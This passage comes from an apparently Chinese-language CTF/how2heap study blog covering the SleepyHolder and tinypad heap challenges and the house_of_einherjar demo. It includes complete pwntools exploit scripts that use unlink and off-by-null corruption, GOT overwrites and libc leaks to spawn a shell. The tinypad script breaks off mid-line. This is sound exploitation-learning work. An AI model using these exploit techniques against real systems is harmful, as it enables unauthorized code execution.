<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">f_ptr = <span class="number">0x6020d0</span><span class="comment">#small_ptr</span></span><br><span class="line">fake_chunk = p64(<span class="number">0</span>) + p64(<span class="number">0x21</span>)<span class="comment">#fake chunk [prev_size,size]</span></span><br><span class="line">fake_chunk += p64(f_ptr - <span class="number">0x18</span>) + p64(f_ptr<span class="number">-0x10</span>)<span class="comment">#[fd,bk]</span></span><br><span class="line">fake_chunk += <span class="string">'\x20'</span><span class="comment">#fake [prev_size]</span></span><br><span class="line">keep(<span class="number">1</span>, fake_chunk,huge=<span class="literal">False</span>)</span><br></pre></td></tr></table></figure>
<p>接着wipe big secret,trigger unlink,因为对unlink暂时不是很熟,所以记录一下细节。如下:</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">wipe(<span class="number">2</span>)</span><br></pre></td></tr></table></figure>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">unlink(AV, P, BK, FD)<span class="comment">//P是指向本chunk的指针,此时指向fake chunk,即small secret的data处</span></span><br><span class="line">{</span><br><span class="line"><span class="keyword">if</span> (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), <span class="number">0</span>))</span><br><span class="line"> malloc_printerr (<span class="string">"corrupted size vs. prev_size"</span>);</span><br><span class="line"> <span class="comment">//检查本chunk的size(0x20)和next chunk的prev_size(fake padding:0x20)是否相等</span></span><br><span class="line"></span><br><span class="line"> FD = P->fd;<span class="comment">//P+0x10 FD=0x6020b8(&small_ptr-0x18)</span></span><br><span class="line"> BK = P->bk;<span class="comment">//P+0x18 BK=0x6020c0(&small_ptr-0x10)</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (__builtin_expect (FD->bk != P || BK->fd != P, <span class="number">0</span>)) </span><br><span class="line"> <span class="comment">//FD->bk=0x6020b8+0x18=0x6020d0(&small_ptr)</span></span><br><span class="line"> <span class="comment">//BK->fd=0x6020c0+0x10=0x6020d0(&small_ptr) check pass</span></span><br><span class="line"> malloc_printerr (<span class="string">"corrupted double-linked list"</span>);</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> FD->bk = BK;<span class="comment">//0x6020d0(small_ptr)=0x6020c0(big_ptr)</span></span><br><span class="line"> BK->fd = FD;<span class="comment">//0x6020d0(small_ptr)=0x6020b8(...)</span></span><br></pre></td></tr></table></figure>
<p>执行结束之后small_ptr指向0x6020b8,此时利用renew便可开始进行写</p>
<img src="/2020/01/31/how2heap-fastbin-dup-consolidate-SleepyHolder/1580475321718.png" width="60%" height="60%">
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">f = p64(<span class="number">0</span>)<span class="comment">#padding</span></span><br><span class="line">f += p64(atoi_GOT) + p64(puts_GOT) + p64(free_GOT)<span class="comment">#big_ptr,huge_ptr,small_ptr</span></span><br><span class="line">f += p32(<span class="number">1</span>)<span class="comment">#Make big secret be using</span></span><br><span class="line">renew(<span class="number">1</span>, f)</span><br></pre></td></tr></table></figure>
<p>填充之后:</p>
<img src="/2020/01/31/how2heap-fastbin-dup-consolidate-SleepyHolder/1580477497059.png" width="60%" height="60%">
<p>接着利用renew将free_GOT改成puts_plt,然后调用wipe(big)时,即可输出atoi在GOT表的地址,计算出libc base之后(直接修改free_GOT为one_gadget我没成功,条件均不满足)使用<code>system("/bin/sh")</code> getshell,具体步骤如下:</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">renew(<span class="number">1</span>, p64(puts_plt))<span class="comment">#make free_GOT->puts_plt</span></span><br><span class="line">wipe(<span class="number">2</span>)<span class="comment">#do puts(atoi_GOT)</span></span><br><span class="line"></span><br><span class="line">libc_base=my_u64(p.recv(<span class="number">6</span>))<span class="number">-0x36e80</span><span class="comment">#atoi base</span></span><br><span class="line"></span><br><span class="line">renew(<span class="number">1</span>,p64(libc_base+<span class="number">0x45390</span>))<span class="comment">#make free_GOT->system</span></span><br><span class="line">keep(<span class="number">2</span>,<span class="string">'/bin/sh'</span>,huge=<span class="literal">False</span>)<span class="comment">#big_ptr->"/bin/sh"</span></span><br><span class="line">wipe(<span class="number">2</span>)<span class="comment">#do system(big_ptr)->system("/bin/sh")</span></span><br></pre></td></tr></table></figure>
<p>最终getshell</p>
<h2 id="完整EXP"><a href="#完整EXP" class="headerlink" title="完整EXP"></a>完整EXP</h2><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> __future__ <span class="keyword">import</span> print_function</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">binary = <span class="string">'SleepyHolder'</span> <span class="comment">#binary's name here</span></span><br><span class="line">context.binary = binary <span class="comment">#context here</span></span><br><span class="line">context.log_level=<span class="string">'debug'</span></span><br><span class="line">pty = process.PTY</span><br><span class="line">p = process(binary, aslr = <span class="number">1</span>, stdin=pty, stdout=pty) <span class="comment">#process option here</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">Host =</span></span><br><span class="line"><span class="string">Port =</span></span><br><span class="line"><span class="string">p = remote(Host,Port)</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line">elf = ELF(binary)</span><br><span class="line">libc = elf.libc</span><br><span class="line"></span><br><span class="line">my_u64 = <span class="keyword">lambda</span> x: u64(x.ljust(<span class="number">8</span>, <span class="string">'\0'</span>))</span><br><span class="line">ub_offset = <span class="number">0x3c4b30</span></span><br><span class="line">codebase = <span class="number">0x555555554000</span></span><br><span class="line"><span class="comment">#log.info("\033[1;36m" + hex(bin_addr) + "\033[0m")</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># todo here</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">keep</span><span class="params">(size,content,huge=True)</span>:</span><span class="comment">#size:1 small,2 big,3 huge</span></span><br><span class="line"> p.recvuntil(<span class="string">'Renew secret\n'</span>)</span><br><span class="line"> p.send(<span class="string">'1'</span>)</span><br><span class="line"> <span class="keyword">if</span> huge:</span><br><span class="line"> p.recvuntil(<span class="string">'lock it forever\n'</span>)</span><br><span class="line"> p.send(str(size))</span><br><span class="line"> p.recvuntil(<span class="string">'secret: \n'</span>)</span><br><span class="line"> p.send(content)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> p.recvuntil(<span class="string">'Big secret\n'</span>)</span><br><span class="line"> p.send(str(size))</span><br><span class="line"> p.recvuntil(<span class="string">'secret: \n'</span>)</span><br><span class="line"> p.send(content)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">wipe</span><span class="params">(size)</span>:</span></span><br><span class="line"> p.recvuntil(<span class="string">'Renew secret\n'</span>)</span><br><span class="line"> p.send(<span class="string">'2'</span>)</span><br><span class="line"> p.recvuntil(<span class="string">'Big secret\n'</span>)</span><br><span class="line"> p.send(str(size))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">renew</span><span class="params">(size,content)</span>:</span></span><br><span class="line"> p.recvuntil(<span class="string">'Renew secret\n'</span>)</span><br><span class="line"> p.send(<span class="string">'3'</span>)</span><br><span class="line"> p.recvuntil(<span class="string">'Big secret\n'</span>)</span><br><span class="line"> p.send(str(size))</span><br><span class="line"> p.recvuntil(<span class="string">'secret: \n'</span>)</span><br><span class="line"> p.send(content)</span><br><span class="line">sleep(<span class="number">3</span>)</span><br><span class="line"></span><br><span class="line">keep(<span class="number">1</span>,<span class="string">'aaaaaaaa'</span>)<span class="comment">#keep small secret</span></span><br><span class="line">keep(<span class="number">2</span>,<span class="string">'bbbbbbbb'</span>)<span class="comment">#keep big secret</span></span><br><span class="line">wipe(<span class="number">1</span>)<span class="comment">#wipe small</span></span><br><span class="line">keep(<span class="number">3</span>,<span class="string">'cccccccc'</span>)<span class="comment">#keep huge</span></span><br><span class="line">wipe(<span class="number">1</span>)<span class="comment">#wipe small</span></span><br><span class="line">log.info(<span class="string">"\033[1;36m"</span> + <span class="string">'Double free now'</span> + <span class="string">"\033[0m"</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">f_ptr = <span class="number">0x6020d0</span><span class="comment">#small_ptr</span></span><br><span class="line">fake_chunk = p64(<span class="number">0</span>) + p64(<span class="number">0x21</span>)<span class="comment">#fake chunk [prev_size,size]</span></span><br><span class="line">fake_chunk += p64(f_ptr - <span class="number">0x18</span>) + p64(f_ptr<span class="number">-0x10</span>)<span class="comment">#[fd,bk]</span></span><br><span class="line">fake_chunk += <span class="string">'\x20'</span><span class="comment">#fake prev_size</span></span><br><span class="line">keep(<span class="number">1</span>, fake_chunk,huge=<span class="literal">False</span>)<span class="comment">#</span></span><br><span class="line">wipe(<span class="number">2</span>)<span class="comment">#trigger Unlink</span></span><br><span class="line">log.info(<span class="string">"\033[1;36m"</span> + <span class="string">'Unlink now'</span> + <span class="string">"\033[0m"</span>)</span><br><span class="line"></span><br><span class="line">atoi_GOT = <span class="number">0x602080</span></span><br><span class="line">free_GOT = <span class="number">0x602018</span></span><br><span class="line">puts_GOT = <span class="number">0x602020</span></span><br><span class="line">puts_plt = <span class="number">0x400760</span></span><br><span class="line"></span><br><span class="line">f = p64(<span class="number">0</span>)<span class="comment">#padding</span></span><br><span class="line">f += p64(atoi_GOT) + p64(puts_GOT) + p64(free_GOT)<span class="comment">#big_ptr,huge_ptr,small_ptr</span></span><br><span class="line">f += p32(<span class="number">1</span>)<span class="comment">#Make big secret be using</span></span><br><span class="line">renew(<span class="number">1</span>, f)</span><br><span class="line">renew(<span class="number">1</span>, p64(puts_plt))<span class="comment">#make free_GOT->puts_plt</span></span><br><span class="line">wipe(<span class="number">2</span>)<span class="comment">#do puts(atoi_GOT)</span></span><br><span class="line"></span><br><span class="line">libc_base=my_u64(p.recv(<span class="number">6</span>))<span class="number">-0x36e80</span><span class="comment">#atoi base</span></span><br><span class="line"></span><br><span class="line">log.info(<span class="string">"\033[1;36m"</span> +<span class="string">'libc_base:'</span>+hex(libc_base) + <span class="string">"\033[0m"</span>)</span><br><span class="line"></span><br><span class="line">renew(<span class="number">1</span>,p64(libc_base+<span class="number">0x45390</span>))<span class="comment">#free_GOT->system</span></span><br><span class="line">keep(<span class="number">2</span>,<span class="string">'/bin/sh'</span>,huge=<span class="literal">False</span>)<span class="comment">#big_ptr->"/bin/sh"</span></span><br><span class="line">wipe(<span class="number">2</span>)<span class="comment">#do system(big_ptr)->system("/bin/sh")</span></span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>
]]></content>
<tags>
<tag>how2heap</tag>
</tags>
</entry>
<entry>
<title>how2heap - house_of_einherjar&tinypad</title>
<url>/2020/03/05/how2heap-house-of-einherjar-tinypad/</url>
<content><![CDATA[<h1 id="how2heap-house-of-einherjar-amp-tinypad"><a href="#how2heap-house-of-einherjar-amp-tinypad" class="headerlink" title="how2heap - house_of_einherjar&tinypad"></a>how2heap - house_of_einherjar&tinypad</h1><p>ubuntu16.04 libc2.23</p>
<h1 id="house-of-einherjar-c"><a href="#house-of-einherjar-c" class="headerlink" title="house_of_einherjar.c"></a>house_of_einherjar.c</h1><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><string.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdint.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><malloc.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> Credit to st4g3r for publishing this technique</span></span><br><span class="line"><span class="comment"> The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()</span></span><br><span class="line"><span class="comment"> This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak. </span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Welcome to House of Einherjar!\n"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Tested in Ubuntu 16.04 64bit.\n"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">uint8_t</span>* a;</span><br><span class="line"> <span class="keyword">uint8_t</span>* b;</span><br><span class="line"> <span class="keyword">uint8_t</span>* d;</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nWe allocate 0x38 bytes for 'a'\n"</span>);</span><br><span class="line"> a = (<span class="keyword">uint8_t</span>*) <span class="built_in">malloc</span>(<span class="number">0x38</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"a: %p\n"</span>, a);</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">int</span> real_a_size = malloc_usable_size(a);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n"</span>, real_a_size);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// create a fake chunk</span></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"However, you can also create the chunk in the heap or the bss, as long as you know its address\n"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"(although we could do the unsafe unlink technique here in some scenarios)\n"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">size_t</span> fake_chunk[<span class="number">6</span>];</span><br><span class="line"></span><br><span class="line"> fake_chunk[<span class="number">0</span>] = <span class="number">0x100</span>; <span class="comment">// prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size</span></span><br><span class="line"> fake_chunk[<span class="number">1</span>] = <span class="number">0x100</span>; <span class="comment">// size of the chunk just needs to be small enough to stay in the small bin</span></span><br><span class="line"> fake_chunk[<span class="number">2</span>] = (<span class="keyword">size_t</span>) fake_chunk; <span class="comment">// fwd</span></span><br><span class="line"> fake_chunk[<span class="number">3</span>] = (<span class="keyword">size_t</span>) fake_chunk; <span class="comment">// bck</span></span><br><span class="line"> fake_chunk[<span class="number">4</span>] = (<span class="keyword">size_t</span>) fake_chunk; <span class="comment">//fwd_nextsize</span></span><br><span class="line"> fake_chunk[<span class="number">5</span>] = (<span class="keyword">size_t</span>) fake_chunk; <span class="comment">//bck_nextsize</span></span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Our fake chunk at %p looks like:\n"</span>, fake_chunk);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"prev_size (not used): %#lx\n"</span>, fake_chunk[<span class="number">0</span>]);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"size: %#lx\n"</span>, fake_chunk[<span class="number">1</span>]);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"fwd: %#lx\n"</span>, fake_chunk[<span class="number">2</span>]);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"bck: %#lx\n"</span>, fake_chunk[<span class="number">3</span>]);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"fwd_nextsize: %#lx\n"</span>, fake_chunk[<span class="number">4</span>]);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"bck_nextsize: %#lx\n"</span>, fake_chunk[<span class="number">5</span>]);</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* In this case it is easier if the chunk size attribute has a least significant byte with</span></span><br><span class="line"><span class="comment"> * a value of 0x00. The least significant byte of this will be 0x00, because the size of </span></span><br><span class="line"><span class="comment"> * the chunk includes the amount requested plus some amount required for the metadata. */</span></span><br><span class="line"> b = (<span class="keyword">uint8_t</span>*) <span class="built_in">malloc</span>(<span class="number">0xf8</span>);</span><br><span class="line"> <span class="keyword">int</span> real_b_size = malloc_usable_size(b);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nWe allocate 0xf8 bytes for 'b'.\n"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"b: %p\n"</span>, b);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">uint64_t</span>* b_size_ptr = (<span class="keyword">uint64_t</span>*)(b - <span class="number">8</span>);</span><br><span class="line"> <span class="comment">/* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nb.size: %#lx\n"</span>, *b_size_ptr);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"b.size is: (0x100) | prev_inuse = 0x101\n"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"We overflow 'a' with a single null byte into the metadata of 'b'\n"</span>);</span><br><span class="line"> a[real_a_size] = <span class="number">0</span>; </span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"b.size: %#lx\n"</span>, *b_size_ptr);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This is easiest if b.size is a multiple of 0x100 so you "</span></span><br><span class="line"> <span class="string">"don't change the size of b, only its prev_inuse bit\n"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"If it had been modified, we would need a fake chunk inside "</span></span><br><span class="line"> <span class="string">"b where it will try to consolidate the next chunk\n"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Write a fake prev_size to the end of a</span></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nWe write a fake prev_size to the last %lu bytes of a so that "</span></span><br><span class="line"> <span class="string">"it will consolidate with our fake chunk\n"</span>, <span class="keyword">sizeof</span>(<span class="keyword">size_t</span>));</span><br><span class="line"> <span class="keyword">size_t</span> fake_size = (<span class="keyword">size_t</span>)((b-<span class="keyword">sizeof</span>(<span class="keyword">size_t</span>)*<span class="number">2</span>) - (<span class="keyword">uint8_t</span>*)fake_chunk);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Our fake prev_size will be %p - %p = %#lx\n"</span>, b-<span class="keyword">sizeof</span>(<span class="keyword">size_t</span>)*<span class="number">2</span>, fake_chunk, fake_size);</span><br><span class="line"> *(<span class="keyword">size_t</span>*)&a[real_a_size-<span class="keyword">sizeof</span>(<span class="keyword">size_t</span>)] = fake_size;</span><br><span class="line"></span><br><span class="line"> <span class="comment">//Change the fake chunk's size to reflect b's new prev_size</span></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nModify fake chunk's size to reflect b's new prev_size\n"</span>);</span><br><span class="line"> fake_chunk[<span class="number">1</span>] = fake_size;</span><br><span class="line"></span><br><span class="line"> <span class="comment">// free b and it will consolidate with our fake chunk</span></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n"</span>);</span><br><span class="line"> <span class="built_in">free</span>(b);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Our fake chunk size is now %#lx (b.size + fake_prev_size)\n"</span>, fake_chunk[<span class="number">1</span>]);</span><br><span class="line"></span><br><span class="line"> <span class="comment">//if we allocate another chunk before we free b we will need to </span></span><br><span class="line"> <span class="comment">//do two things: </span></span><br><span class="line"> <span class="comment">//1) We will need to adjust the size of our fake chunk so that</span></span><br><span class="line"> <span class="comment">//fake_chunk + fake_chunk's size points to an area we control</span></span><br><span class="line"> <span class="comment">//2) we will need to write the size of our fake chunk</span></span><br><span class="line"> <span class="comment">//at the location we control. </span></span><br><span class="line"> <span class="comment">//After doing these two things, when unlink gets called, our fake chunk will</span></span><br><span class="line"> <span class="comment">//pass the size(P) == prev_size(next_chunk(P)) test. </span></span><br><span class="line"> <span class="comment">//otherwise we need to make sure that our fake chunk is up against the</span></span><br><span class="line"> <span class="comment">//wilderness</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nNow we can call malloc() and it will begin in our fake chunk\n"</span>);</span><br><span class="line"> d = <span class="built_in">malloc</span>(<span class="number">0x200</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Next malloc(0x200) is at %p\n"</span>, d);</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>通篇下来最重要的两点在<code>size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);</code>、<code>fake_chunk[1] = fake_size;</code></p>
<p>代码通过模拟漏洞修改了b的<code>prev_inuse</code>位为0,此时再<code>free(b)</code>的话就会触发向后合并,而向后合并时合并的chunk是由prev_size得到的,当我们把prev_size改成了<code>b's chunk header-fake_chunk's heder</code>,就会在fake chunk处触发unlink从而导致fake_chunk被合并,而且此时由于紧邻top_chunk,top_chunk就直接被改到我们栈上fake_chunk处去了,再malloc的时候就可以把我们那块fake_chunk malloc出来</p>
<p>某种意义上来说这个好像也和house of force一样?是通过利用topchunk从而malloc出我们想要的地址来,(代码中写到的<code>If it had been modified, we would need a fake chunk inside b where it will try to consolidate the next chunk</code>,就是说如果我们在溢出的时候把size大小更改了,比如从0x101改成0x100,再去进行操作的时候由于此时得到的nextchunk在被更改chunk的内部,所以我们需要能够写到这个地方修改出一个假的chunk头才能不报错)</p>
<p>不过我有一点没弄明白:<code>fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size</code>,因为在这里设置了新top chunk之后好像没必要改这个prev_size?就算把这步操作改成0也还是一样达到了效果,所以这里好像有一个疑点(后来发现只是我单纯的把这个理解成设置top_chunk了,但其实这个利用说白了就是修改prev_size还有chunk的inues位,用来oevrlap chunk也是一样的用法)</p>
<p>….感觉慢慢熟悉起堆来之后就不想写debug了23333,因为稍微进GDB看一下就能弄清楚了,所以也是直接撸题吧</p>
<h1 id="tinypad"><a href="#tinypad" class="headerlink" title="tinypad"></a>tinypad</h1><p>程序有很多小函数,这里就不做分析了,直接分析主要的逻辑或有漏洞的逻辑</p>
<h2 id="程序分析"><a href="#程序分析" class="headerlink" title="程序分析"></a>程序分析</h2><h3 id="read-until"><a href="#read-until" class="headerlink" title="read_until"></a>read_until</h3><p><img src="/2020/03/05/how2heap-house-of-einherjar-tinypad/1583305845380.png" alt="1583305845380"></p>
<p>其中当i=len的时候,<code>a1[i]=0</code>的操作下标越界,可能会产生<code>off_by_null</code></p>
<h3 id="Add"><a href="#Add" class="headerlink" title="Add"></a>Add</h3><p><img src="/2020/03/05/how2heap-house-of-einherjar-tinypad/1583304338827.png" alt="1583304338827"></p>
<p>首先从四个memo中获取一个size段为空的下标,然后malloc(size),size为1<del>0x100之间,对应的chunk也就是在0x20</del>0x110之间,然后根据存在bss的指针读入size的数据</p>
<h3 id="delete"><a href="#delete" class="headerlink" title="delete"></a>delete</h3><p><img src="/2020/03/05/how2heap-house-of-einherjar-tinypad/1583304560937.png" alt="1583304560937"></p>
<p>这里如果读入的下标是1对应数组下标0,判断对应处size是否为零,然后free掉ptr之后把size置零,没有把ptr置零</p>
<h3 id="edit"><a href="#edit" class="headerlink" title="edit"></a>edit</h3><p><img src="/2020/03/05/how2heap-house-of-einherjar-tinypad/1583304758155.png" alt="1583304758155"></p>
<p>edit稍微有点意思,因为我们的mome每次做操作都是从+16的位置开始的,开始的时候我没看懂这个是什么意思,后来在edit这里发现这个前面<code>32*_QWORD</code>的空间是用来当缓冲区的,edit之前先把下标对应的chunk中的内容用strcpy拷到memo缓冲区中去,然后用<code>strlen</code>获取缓冲区的长度,并将这段长度的内容输出,接着再通过strlen获取对应chunk中字符串的长度,然后read到缓冲区中去</p>
<h2 id="Exploit-amp-漏洞分析"><a href="#Exploit-amp-漏洞分析" class="headerlink" title="Exploit&漏洞分析"></a>Exploit&漏洞分析</h2><p>漏洞应该比较明显了</p>
<ol>
<li>read_until的<code>off_by_null</code></li>
<li>由于每次程序的显示是通过ptr是否为空来判断是否需要输出的,但是由于清除的是size,所以每次都会输出…直接leak各种base</li>
<li>结合上面的使用<code>house_of_einherjar</code>即可,不过我才知道这个用法原来是只要修改了prev_size然后用就好23333,本来以为是专门用来设置<code>top_chunk</code>的,不过也确实说明了prev_size确实可以改的很大,这是我之前在写题的时候没有想到的</li>
</ol>
<p>有了漏洞思路之后我的做法大致就是,先malloc四个memo,然后泄露出libc和heap之后再把这几个全部free掉,用于重新构造利用的chunk结构</p>
<p>再次构造的时候大概就是这样:</p>
<table>
<thead>
<tr>
<th>0x101</th>
<th>0x71</th>
<th>0x101</th>
</tr>
</thead>
<tbody><tr>
<td>填上自身指针用于unlink</td>
<td>用于fastbin attck、填上prev_size,还有off_by_null</td>
<td>修改这个chunk的prev_inuse位</td>
</tr>
</tbody></table>
<p>free的时候就会直接把这三个全部都放到top_chunk里面去了,还有一个overlap的0x70 fastchunk</p>
<p>后续就是常规的fastbin attack了</p>
<h2 id="完整EXP"><a href="#完整EXP" class="headerlink" title="完整EXP"></a>完整EXP</h2><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> __future__ <span class="keyword">import</span> print_function</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">binary = <span class="string">'./tinypad'</span> <span class="comment">#binary's name here</span></span><br><span class="line">context.binary = binary <span class="comment">#context here</span></span><br><span class="line">context.log_level=<span class="string">'debug'</span></span><br><span class="line">pty = process.PTY</span><br><span class="line">p = process(binary, aslr = <span class="number">1</span>, stdin=pty, stdout=pty) <span class="comment">#process option here</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">Host =</span></span><br><span class="line"><span class="string">Port =</span></span><br><span class="line"><span class="string">p = remote(Host,Port)</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line">elf = ELF(binary)</span><br><span class="line">libc = elf.libc</span><br><span class="line"></span><br><span class="line">my_u64 = <span class="keyword">lambda</span> x: u64(x.ljust(<span class="number">8</span>, <span class="string">'\0'</span>))</span><br><span class="line">my_u32 = <span class="keyword">lambda</span> x: u32(x.ljust(<span class="number">4</span>, <span class="string">'\0'</span>))</span><br><span class="line">global_max_fast=<span class="number">0x3c67f8</span></span><br><span class="line">codebase = <span class="number">0x555555554000</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">loginfo</span><span class="params">(what=<span class="string">''</span>,address=<span class="number">0</span>)</span>:</span></span><br><span class="line"> log.info(<span class="string">"\033[1;36m"</span> + what + <span class="string">'----->'</span> + hex(address) + <span class="string">"\033[0m"</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># todo here</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">add</span><span class="params">(size,content)</span>:</span></span><br><span class="line"> p.recvuntil(<span class="string">'(CMD)>>> '</span>)</span><br><span class="line"> p.sendline(<span class="string">'A'</span>)</span><br><span class="line"> p.recvuntil(<span class="string">'(SIZE)>>> '</span>)</span><br><span class="line"> p.sendline(str(size))</span><br><span class="line"> p.recvuntil(<span class="string">'(CONTENT)>>> '</span>)</span><br><span class="line"> p.sendline(content)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">free</span><span class="params">(idx)</span>:</span></span><br><span class="line"> p.recvuntil(<span class="string">'(CMD)>>> '</span>)</span><br><span class="line"> p.sendline(<span class="string">'D'</span>)</span><br><span class="line"> p.recvuntil(<span class="string">'(INDEX)>>> '</span>)</span><br><span class="line"> p.sendline(str(idx+<span class="number">1</span>))</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">edit</span><span class="params">(idx,content)</span>:</span></span><br><span class="line"> p.recvuntil(<span class="string">'(CMD)>>> '</span>)</span><br><span class="line"> p.sendline(<span class="string">'E'</span>)</span><br><span class="line"> p.recvuntil(<span class="string">'(INDEX)>>> '</span>)</span><br><span class="line"> p.sendline(str(idx+<span 